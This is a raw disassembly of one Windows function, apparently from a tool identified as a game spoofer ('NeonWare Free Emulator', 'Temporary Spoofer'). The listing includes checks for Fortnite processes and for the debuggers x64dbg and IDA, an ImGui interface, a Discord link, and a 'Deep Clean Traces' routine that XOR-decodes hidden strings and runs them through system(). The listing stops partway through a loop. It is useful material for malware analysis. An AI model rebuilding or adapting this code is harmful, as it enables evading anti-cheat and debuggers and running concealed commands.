Function at 0x140044030
Capabilities:
Create process on windows
Delete file
Encode data using xor
Execute command
Log keystrokes via polling

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x388]
sub rsp, 0x460
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x140095040]
xor rax, rsp
mov qword [rbp + 0x2b8], rax
lea rdx, str.EpicGamesLauncher.exe
call fcn.140043cf0
lea rdx, str.FortniteClient_Win64_Shipping_BE.exe
call fcn.140043cf0
lea rdx, str.FortniteClient_Win64_Shipping.exe
call fcn.140043cf0
lea rdx, str.x64dbg.exe
call fcn.140043cf0
lea rdx, str.x96dbg.exe
call fcn.140043cf0
lea rdx, str.ida64.exe
call fcn.140043cf0
lea rdx, str.ida32.exe
call fcn.140043cf0
mov dword [rbp + 0x160], 0x50
mov dword [rbp + 0x164], 0x40
lea rax, [0x140043f70]
mov qword [rbp + 0x168], rax
xor r12d, r12d
mov qword [rbp + 0x170], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x178], rax
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
lea rbx, str.Loader
mov qword [rbp + 0x1a0], rbx
mov qword [rbp + 0x1a8], r12
lea rcx, [rbp + 0x160]
call qword [sym.imp.USER32.dll_RegisterClassExA]
mov qword [rsp + 0x58], r12
mov rax, qword [rbp + 0x178]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], 5
mov dword [rsp + 0x30], 5
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
mov r9d, 0x80000000
mov r8, rbx
mov rdx, qword [rbp + 0x1a0]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExA]
mov rsi, rax
lea ecx, [r12 + 0x20]
call qword [sym.imp.d3d9.dll_Direct3DCreate9]
mov rcx, rax
mov qword [0x1400959a8], rax
test rax, rax
je 0x140043c38
mov qword [0x140095960], r12
mov qword [0x14009596c], r12
mov dword [0x140095974], r12d
mov qword [0x14009597c], r12
mov dword [0x140095984], r12d
mov qword [0x140095994], r12
mov dword [0x140095988], 1
mov dword [0x140095978], 1
mov dword [0x140095968], r12d
mov dword [0x14009598c], 1
mov dword [0x140095990], 0x50
mov dword [0x14009599c], 1
mov rax, qword [rax]
lea rdx, [0x1400959a0]
mov qword [rsp + 0x30], rdx
lea rdx, [0x140095960]
mov qword [rsp + 0x28], rdx
mov dword [rsp + 0x20], 0x40
mov r9, rsi
xor edx, edx
lea r8d, [r12 + 1]
call qword [rax + 0x80]
test eax, eax
js 0x140043c31
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
call qword [sym.imp.USER32.dll_UpdateWindow]
mov rax, qword [0x140095950]
test rax, rax
je 0x1400412ff
inc dword [rax + 0x3b0]
mov ecx, 0x40b0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 0x10], rax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x68], rax
test rax, rax
je 0x14004132e
xor edx, edx
mov rcx, rax
call fcn.140001390
jmp 0x140041331
mov rax, r12
cmp qword [0x140095950], 0
jne 0x140041342
mov qword [0x140095950], rax
mov rcx, rax
call fcn.140007ff0
mov r13, qword [0x140095950]
mov qword [rbp + 0x10], r13
or dword [r13 + 8], 0x400
xorps xmm6, xmm6
xor eax, eax
movups xmmword [rbp + 0x1f0], xmm6
movups xmmword [rbp + 0x200], xmm6
movups xmmword [rbp + 0x210], xmm6
movups xmmword [rbp + 0x230], xmm6
movups xmmword [rbp + 0x240], xmm6
mov qword [rbp + 0x270], rax
mov byte [rbp + 0x1fc], 1
movss xmm12, dword [0x14008d4e0]
mov dword [rbp + 0x234], 0x7f7fffff
movss xmm14, dword [0x14008d43c]
mov dword [rbp + 0x240], 0x3f800000
mov ecx, 0xffff
mov word [rbp + 0x244], cx
mov qword [r13 + 0x20], r12
mov qword [r13 + 0x28], r12
mov byte [rbp + 0x238], 1
mov byte [rbp + 0x210], 1
mov dword [rbp + 0x208], 3
mov dword [rbp + 0x20c], 3
xorps xmm2, xmm2
movups xmmword [rbp + 0x30], xmm2
movups xmmword [rbp + 0x40], xmm2
movups xmmword [rbp + 0x70], xmm2
movups xmmword [rbp + 0x80], xmm2
mov qword [rbp + 0xb0], rax
mov dword [rbp + 0x48], 3
mov dword [rbp + 0x4c], 1
mov dword [rbp + 0x74], 0x7f7fffff
mov dword [rbp + 0x80], 0x3f800000
mov word [rbp + 0x84], cx
mov byte [rbp + 0x3c], al
movups xmm0, xmmword [rbp + 0x30]
movups xmmword [rbp + 0xd0], xmm0
movups xmm1, xmmword [rbp + 0x40]
movups xmmword [rbp + 0xe0], xmm1
movups xmmword [rbp + 0xf0], xmm2
movups xmmword [rbp + 0x100], xmm2
movups xmm0, xmmword [rbp + 0x70]
movups xmmword [rbp + 0x110], xmm0
movups xmm1, xmmword [rbp + 0x80]
movups xmmword [rbp + 0x120], xmm1
movups xmmword [rbp + 0x130], xmm2
movups xmmword [rbp + 0x140], xmm2
movsd xmm0, qword [rbp + 0xb0]
movsd qword [rbp + 0x150], xmm0
lea rax, [0x14006a440]
mov qword [rbp + 0xd0], rax
mov dword [rbp + 0xd8], 0x225bc
mov dword [rbp + 0xe4], 0x419c0000
lea rdx, [rbp + 0xd0]
mov rcx, qword [r13 + 0xa8]
call fcn.14002f030
mov r15, qword [r13 + 0xa8]
mov rax, qword [0x140095950]
test rax, rax
je 0x1400414de
inc dword [rax + 0x3b0]
mov ecx, 0x286ac
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
lea rax, [0x14004bda0]
mov qword [0x1400959d0], rax
lea rdi, [r14 + 0x286ac]
mov qword [0x1400959d8], rdi
mov qword [0x1400959e0], r14
mov qword [0x1400959e8], r14
lea rbx, [0x14004bdb0]
mov rcx, rbx
call fcn.1400336c0
cmp rax, rbx
je 0x140041549
nop word [rax + rax]
cmp qword [0x1400959e8], rdi
ja 0x140041549
mov rbx, rax
mov rcx, rax
call fcn.1400336c0
cmp rax, rbx
jne 0x140041530
movups xmm0, xmmword [rbp + 0x1f0]
movups xmmword [rbp + 0xd0], xmm0
movups xmm2, xmmword [rbp + 0x200]
movups xmm3, xmmword [rbp + 0x210]
movups xmm4, xmmword [rbp + 0x230]
movups xmm5, xmmword [rbp + 0x240]
movsd xmm1, qword [rbp + 0x270]
mov byte [rbp + 0xdc], 1
movups xmm0, xmmword [rbp + 0xd0]
movups xmmword [rbp + 0x30], xmm0
movups xmmword [rbp + 0x40], xmm2
movups xmmword [rbp + 0x50], xmm3
movups xmmword [rbp + 0x60], xmm6
movups xmmword [rbp + 0x70], xmm4
movups xmmword [rbp + 0x80], xmm5
movups xmmword [rbp + 0x90], xmm6
movups xmmword [rbp + 0xa0], xmm6
movsd qword [rbp + 0xb0], xmm1
mov qword [rbp + 0x30], r14
mov dword [rbp + 0x38], 0x286ac
mov dword [rbp + 0x44], 0x42020000
lea rax, [0x14008d268]
mov qword [rbp + 0x68], rax
lea rdx, [rbp + 0x30]
mov rcx, r15
call fcn.14002f030
mov rcx, qword [r13 + 0xa8]
call fcn.14002f2f0
mov rax, qword [0x140095950]
mov dword [rax + 0x1648], 0x40e00000
mov dword [rax + 0x1660], r12d
mov dword [rax + 0x1678], r12d
mov dword [rax + 0x16ac], r12d
mov dword [rax + 0x16b4], r12d
mov dword [rax + 0x1668], r12d
mov dword [rax + 0x1644], 0x40400000
movaps xmm0, xmmword [0x14008d660]
movups xmmword [rax + 0x171c], xmm0
movaps xmm1, xmmword [0x14008d6a0]
movups xmmword [rax + 0x176c], xmm1
movaps xmm0, xmmword [0x14008d6d0]
movups xmmword [rax + 0x178c], xmm0
movaps xmm1, xmm0
movups xmmword [rax + 0x177c], xmm0
movaps xmm0, xmmword [0x14008d600]
movups xmmword [rax + 0x184c], xmm0
movaps xmm1, xmmword [0x14008d5f0]
movups xmmword [rax + 0x186c], xmm1
movaps xmm0, xmm1
movups xmmword [rax + 0x185c], xmm1
xorps xmm1, xmm1
movups xmmword [rax + 0x174c], xmm1
movaps xmm0, xmmword [0x14008d6b0]
movups xmmword [rax + 0x18ac], xmm0
movaps xmm1, xmmword [0x14008d690]
movups xmmword [rax + 0x18dc], xmm1
movaps xmm0, xmm1
movups xmmword [rax + 0x18fc], xmm1
movups xmmword [rax + 0x18ec], xmm1
movaps xmm0, xmmword [0x14008d680]
movups xmmword [rax + 0x172c], xmm0
movaps xmm1, xmmword [0x14008d670]
movups xmmword [rax + 0x17dc], xmm1
movaps xmm0, xmm1
movups xmmword [rax + 0x17ec], xmm1
movups xmmword [rax + 0x180c], xmm1
movaps xmm0, xmmword [0x14008d6c0]
movups xmmword [rax + 0x187c], xmm0
movaps xmm1, xmm0
movups xmmword [rax + 0x189c], xmm0
movups xmmword [rax + 0x188c], xmm0
movaps xmm1, xmmword [0x14008d6f0]
movups xmmword [rax + 0x181c], xmm1
mov qword [rax + 0x181c], 0x3f000000
mov dword [rax + 0x1824], 0x3f000000
mov dword [rax + 0x1828], 0x3f800000
mov rcx, rsi
call fcn.140035260
mov rcx, qword [0x1400959a0]
mov rbx, qword [0x140095950]
lea rax, str.imgui_impl_dx9
mov qword [rbx + 0xe8], rax
or dword [rbx + 0xc], 0x1008
mov qword [0x140095a00], rcx
mov rax, qword [rcx]
call qword [rax + 8]
test dword [rbx + 8], 0x400
je 0x1400417c5
mov rax, qword [0x140095950]
lea rcx, [fcn.140034f30]
mov qword [rax + 0x15f0], rcx
lea rcx, [fcn.140035000]
mov qword [rax + 0x15f8], rcx
lea rcx, [0x140035080]
mov qword [rax + 0x1600], rcx
lea rcx, [0x1400350e0]
mov qword [rax + 0x1608], rcx
lea rcx, [0x140035230]
mov qword [rax + 0x1610], rcx
xorps xmm0, xmm0
movups xmmword [rbp + 0x288], xmm0
movups xmmword [rbp + 0x298], xmm0
movups xmmword [rbp + 0x2a8], xmm0
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.https:__discord.gg_cGBeGjef6B
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp dword [rbp + 0x290], 0x12
je 0x140043b11
mov edi, 4
lea rsi, [0x14008cea1]
lea r14, [0x14008cea0]
mov r15d, dword [0x140095088]
movss xmm13, dword [0x14008d48c]
xorps xmm8, xmm8
movss xmm9, dword [0x14008d4a0]
movss xmm7, dword [0x14008d4f0]
movss xmm15, dword [0x14008d498]
movss xmm6, dword [0x14008d470]
movss xmm10, dword [0x14008d3f8]
movss xmm11, dword [0x14008d434]
nop dword [rax + rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x288]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x1400418b0
lea rcx, [rbp + 0x288]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x288]
call qword [sym.imp.USER32.dll_DispatchMessageA]
jmp 0x140043857
cmp qword [0x1400959f0], 0
jne 0x1400418bf
call fcn.140034dc0
mov rbx, qword [0x140095950]
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1b0], xmm0
lea rdx, [rbp + 0x1b0]
mov rcx, qword [0x140095a30]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp + 0x1bc]
sub eax, dword [rbp + 0x1b4]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
mov eax, dword [rbp + 0x1b8]
sub eax, dword [rbp + 0x1b0]
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0x10], xmm0
movss dword [rbx + 0x14], xmm1
cmp byte [0x1400950c2], 0
je 0x140041973
mov rdi, qword [0x140095950]
mov ecx, dword [rdi + 0x161c]
test ecx, ecx
jns 0x14004194c
mov eax, ecx
cdq
sub eax, edx
sar eax, 1
add eax, ecx
mov edx, r12d
test eax, eax
cmovg edx, eax
lea rcx, [rdi + 0x1618]
call fcn.140022ae0
mov dword [rdi + 0x1618], r12d
xor r9d, r9d
lea r8, [0x140035cb0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_EnumDisplayMonitors]
mov byte [0x1400950c2], 0
mov edi, 4
mov qword [rbp + 0x280], r12
lea rcx, [rbp + 0x280]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp + 0x280]
mov rax, rcx
sub rax, qword [0x140095a38]
xorps xmm1, xmm1
cvtsi2ss xmm1, rax
xorps xmm0, xmm0
cvtsi2ss xmm0, qword [0x140095a40]
divss xmm1, xmm0
movss dword [rbx + 0x18], xmm1
mov qword [0x140095a38], rcx
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13c], al
mov ecx, 0x10
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13d], al
mov ecx, 0x12
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
and al, 1
mov byte [rbx + 0x13e], al
mov byte [rbx + 0x13f], 0
call fcn.1400357d0
cmp byte [rbx + 0xcf], 0
je 0x140041a1a
mov eax, 0xffffffff
jmp 0x140041a27
mov rax, qword [0x140095950]
mov eax, dword [rax + 0x20d0]
cmp dword [0x140095280], eax
je 0x140041a3a
mov dword [0x140095280], eax
call fcn.140035650
call fcn.1400359e0
call fcn.140006ce0
cmp byte [0x1400950c0], 0
je 0x14004369d
mov rbx, qword [0x140095950]
lea rcx, [rbx + 0x1e80]
movss xmm1, dword [rbx + 0x164c]
movss xmm0, dword [rbx + 0x1650]
mov dword [rbp + 0x18], 4
movss dword [rbp + 0x1c], xmm1
movss dword [rbp + 0x20], xmm0
lea rdx, [rbp + 0x18]
call fcn.140022900
mov dword [rbx + 0x164c], 0x44480000
mov dword [rbx + 0x1650], 0x44160000
mov r8d, 3
lea rdx, [0x1400950c0]
lea rcx, str.NeonWare_Free_Emulator
call fcn.14000d490
mov ebx, edi
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov eax, dword [rbx + rdi]
cmp dword [0x140095ab0], eax
jle 0x140041afc
lea rcx, [0x140095ab0]
call fcn.140044c98
cmp dword [0x140095ab0], 0xffffffff
jne 0x140041afc
call fcn.140040ee0
mov qword [0x140095a80], rax
lea rcx, [0x140095ab0]
call fcn.140044c2c
mov eax, dword [rbx + rdi]
cmp dword [0x140095a78], eax
jle 0x140041b36
lea rcx, [0x140095a78]
call fcn.140044c98
cmp dword [0x140095a78], 0xffffffff
jne 0x140041b36
movaps xmm0, xmmword [0x14008d610]
movups xmmword [0x140095aa0], xmm0
lea rcx, [0x140095a78]
call fcn.140044c2c
mov eax, dword [rbx + rdi]
cmp dword [0x140095a70], eax
jle 0x140041b70
lea rcx, [0x140095a70]
call fcn.140044c98
cmp dword [0x140095a70], 0xffffffff
jne 0x140041b70
movaps xmm0, xmmword [0x14008d6f0]
movups xmmword [0x140095a90], xmm0
lea rcx, [0x140095a70]
call fcn.140044c2c
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
mov rdx, qword [rax + 0x2f8]
movss xmm1, dword [rax + 0x50]
movss xmm3, dword [rax + 0x54]
addss xmm3, xmm13
addss xmm1, xmm13
movss xmm2, dword [rcx + 0x1a80]
mov r8, qword [rcx + 0x1a78]
test r8, r8
jne 0x140041bc3
mov rax, qword [rdx + 0x38]
mov r8, qword [rax + 8]
ucomiss xmm2, xmm8
jp 0x140041bd4
jne 0x140041bd4
mov rax, qword [rdx + 0x38]
movss xmm2, dword [rax + 0x10]
movups xmm0, xmmword [rdx + 0x88]
movups xmmword [rbp + 0x1b0], xmm0
mov byte [rsp + 0x48], 0
movss dword [rsp + 0x40], xmm8
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], r14
lea rax, [rbp + 0x1b0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0xffff0099
unpcklps xmm1, xmm3
movq r9, xmm1
mov rcx, r8
call fcn.1400324b0
mov rax, qword [0x140095950]
mov rcx, qword [rax + 0x1d18]
movss xmm0, dword [rcx + 0x58]
subss xmm0, xmm9
movaps xmm1, xmm7
call fcn.140011130
mov dword [rbp + 8], 0x41a00000
mov dword [rbp + 0xc], 0x41a00000
lea rdx, [rbp + 8]
lea rcx, [0x140047c70]
call fcn.140039710
test al, al
je 0x140041c65
mov byte [0x1400950c0], 0
mov rbx, qword [0x140095950]
mov rcx, qword [rbx + 0x1d18]
movss xmm0, dword [rcx + 0x2a8]
cmp qword [rcx + 0x1e8], 0
jne 0x140041c8f
cmp qword [rbx + 0x2178], 0
je 0x140041c97
movss xmm0, dword [rcx + 0x278]
subss xmm0, dword [rcx + 0x118]
movss dword [rsp + 0x78], xmm0
mov dword [rsp + 0x7c], 0x42200000
mov byte [rcx + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.TopBar
call fcn.140002830
cmp dword [rbx + 0x1d6c], eax
jne 0x140041cea
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x140041cf9
mov byte [rbx + 0x1dac], 1
mov r9b, 1
lea r8, [rsp + 0x78]
mov edx, eax
lea rcx, str.TopBar
call fcn.14000a500
xor r8d, r8d
xor edx, edx
lea rcx, str.Temporary_Spoofer
call fcn.140040cb0
call fcn.14000a720
mov ecx, 1
call fcn.1400409c0
mov rbx, qword [0x140095950]
mov rax, qword [rbx + 0x1d18]
movss xmm0, dword [rax + 0x2ac]
subss xmm0, dword [rax + 0x11c]
mov dword [rbp - 0x80], 0x42700000
movss dword [rbp - 0x7c], xmm0
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.LeftSide
call fcn.140002830
cmp dword [rbx + 0x1d6c], eax
jne 0x140041d96
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x140041da5
mov byte [rbx + 0x1dac], 1
mov r9b, 1
lea r8, [rbp - 0x80]
mov edx, eax
lea rcx, str.LeftSide
call fcn.14000a500
mov rdi, qword [0x140095950]
movss xmm0, dword [rdi + 0x1a80]
addss xmm0, dword [rdi + 0x1684]
mulss xmm0, xmm6
mov rax, qword [rdi + 0x1d18]
movss xmm1, dword [rax + 0x2ac]
movss xmm2, dword [rax + 0x11c]
subss xmm1, xmm2
subss xmm1, xmm0
mulss xmm1, xmm10
subss xmm1, xmm9
subss xmm2, dword [rax + 0x54]
addss xmm2, dword [rax + 0xa0]
addss xmm2, xmm1
mov byte [rax + 0xd1], 1
mov rax, qword [rdi + 0x1d18]
movss xmm1, dword [rax + 0x54]
subss xmm1, dword [rax + 0xa0]
addss xmm1, xmm2
movss dword [rax + 0x11c], xmm1
movss xmm0, dword [rax + 0x134]
maxss xmm0, xmm1
movss dword [rax + 0x134], xmm0
lea rax, [0x14008cedc]
mov qword [rbp + 0xc0], rax
lea rax, [0x14008cee0]
mov qword [rbp + 0xc8], rax
mov esi, r12d
lea r14, [rbp + 0xc0]
lea r13, [0x140095aa0]
nop word [rax + rax]
mov rax, qword [0x140095a80]
lea rbx, [0x140095a90]
cmp dword [rax], esi
cmove rbx, r13
mov dword [rbp + 0x1b0], r12d
movups xmm0, xmmword [rdi + 0x16fc]
movups xmmword [rbp + 0x1b4], xmm0
lea rcx, [rdi + 0x1e70]
lea rdx, [rbp + 0x1b0]
call fcn.1400229f0
movups xmm0, xmmword [rbx]
movups xmmword [rdi + 0x16fc], xmm0
mov rbx, qword [r14]
test rbx, rbx
je 0x140041fb3
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140041f12
mov qword [rbp - 0x78], 0
movaps xmm1, xmm7
lea rcx, [rbp - 0x78]
call fcn.140010e90
mov rcx, qword [0x140095950]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], rbx
movss dword [rsp + 0x20], xmm7
movaps xmm3, xmm12
movss xmm2, dword [rcx + 0x1a80]
lea rdx, [rbp - 0x70]
mov rcx, qword [rcx + 0x1a78]
call fcn.140032090
movss xmm0, dword [rbp - 0x70]
addss xmm0, xmm11
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
movss dword [rbp - 0x70], xmm1
mulss xmm1, xmm10
movaps xmm0, xmm9
subss xmm0, xmm1
movaps xmm1, xmm7
call fcn.140011130
mov rcx, rbx
call fcn.140038c50
mov rcx, qword [0x140095950]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x140041fb3
mov qword [rbp - 0x68], 0
movaps xmm1, xmm7
lea rcx, [rbp - 0x68]
call fcn.140010e90
call fcn.14000a3c0
test al, al
je 0x140041fc5
mov rax, qword [0x140095a80]
mov dword [rax], esi
call fcn.14003ac90
call fcn.14003ac90
mov rdi, qword [0x140095950]
movsxd rax, dword [rdi + 0x1e70]
lea rdx, [rax + rax*4]
mov rcx, qword [rdi + 0x1e78]
movsxd rax, dword [rcx + rdx*4 - 0x14]
add rax, rax
movups xmm0, xmmword [rcx + rdx*4 - 0x10]
movups xmmword [rdi + rax*8 + 0x16fc], xmm0
dec dword [rdi + 0x1e70]
inc esi
add r14, 8
cmp esi, 2
jl 0x140041e80
mov r13, qword [rbp + 0x10]
call fcn.14000a720
movaps xmm1, xmm7
movaps xmm0, xmm8
call fcn.140011130
mov rbx, qword [0x140095950]
mov rax, qword [rbx + 0x1d18]
movss xmm4, dword [rax + 0x2ac]
subss xmm4, dword [rax + 0x11c]
mov dword [rbp - 0x60], 0
movss dword [rbp - 0x5c], xmm4
mov byte [rax + 0xd1], 1
mov rax, qword [rbx + 0x1d18]
movsxd r8, dword [rax + 0x108]
mov rax, qword [rax + 0x110]
mov r8d, dword [rax + r8*4 - 4]
xor edx, edx
lea rcx, str.RightSide
call fcn.140002830
cmp dword [rbx + 0x1d6c], eax
jne 0x14004208e
mov dword [rbx + 0x1d70], eax
cmp dword [rbx + 0x1da8], eax
jne 0x14004209d
mov byte [rbx + 0x1dac], 1
mov r9b, 1
lea r8, [rbp - 0x60]
mov edx, eax
lea rcx, str.RightSide
call fcn.14000a500
mov rcx, qword [0x140095a80]
mov edx, dword [rcx]
test edx, edx
je 0x14004318c
cmp edx, 1
jne 0x140043129
mov rax, qword [0x140095950]
mov rdx, qword [rax + 0x1d18]
movss xmm0, dword [rdx + 0x2a8]
cmp qword [rdx + 0x1e8], 0
jne 0x1400420f6
cmp qword [rax + 0x2178], 0
je 0x1400420fe
movss xmm0, dword [rdx + 0x278]
subss xmm0, dword [rdx + 0x118]
movss dword [rbp - 0x58], xmm0
mov dword [rbp - 0x54], 0x42040000
lea rdx, [rbp - 0x58]
lea rcx, str.Deep_Clean_Traces
call fcn.140039710
test al, al
je 0x140042538
movups xmm0, xmmword [str.SD__]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [0x14008d350]
movups xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [0x14008d360]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [0x14008d370]
movups xmmword [rbp + 0x220], xmm1
movups xmm0, xmmword [0x14008d380]
movups xmmword [rbp + 0x230], xmm0
movups xmm1, xmmword [0x14008d390]
movups xmmword [rbp + 0x240], xmm1
movzx eax, word [0x14008d3a0]
mov word [rbp + 0x250], ax
movzx eax, byte [0x14008d3a2]
mov byte [rbp + 0x252], al
mov r8d, r12d
cmp r15d, 2
jl 0x1400422ed
movdqa xmm5, xmmword [0x14008d5b0]
movdqa xmm4, xmmword [0x14008d720]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp + 0x1b0], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rbp + 0x1b0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008d5d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008d5d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x60
jl 0x1400421e0
cmp r8d, 0x63
jge 0x140042333
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x8d3dcb09
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x3a
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x63
jl 0x140042300
lea rcx, [rbp + 0x1f0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.CESA_]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [0x14008d310]
movups xmmword [rbp + 0x200], xmm1
movups xmm0, xmmword [0x14008d320]
movups xmmword [rbp + 0x210], xmm0
movzx eax, word [0x14008d330]
mov word [rbp + 0x220], ax
mov r8d, r12d
cmp r15d, 2
jl 0x1400424cd
movdqa xmm5, xmmword [0x14008d5b0]
movdqa xmm4, xmmword [0x14008d720]
movdqa xmm6, xmmword [str.::::]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rbp + 0x1b0], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rbp + 0x1b0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008d5d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008d5d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
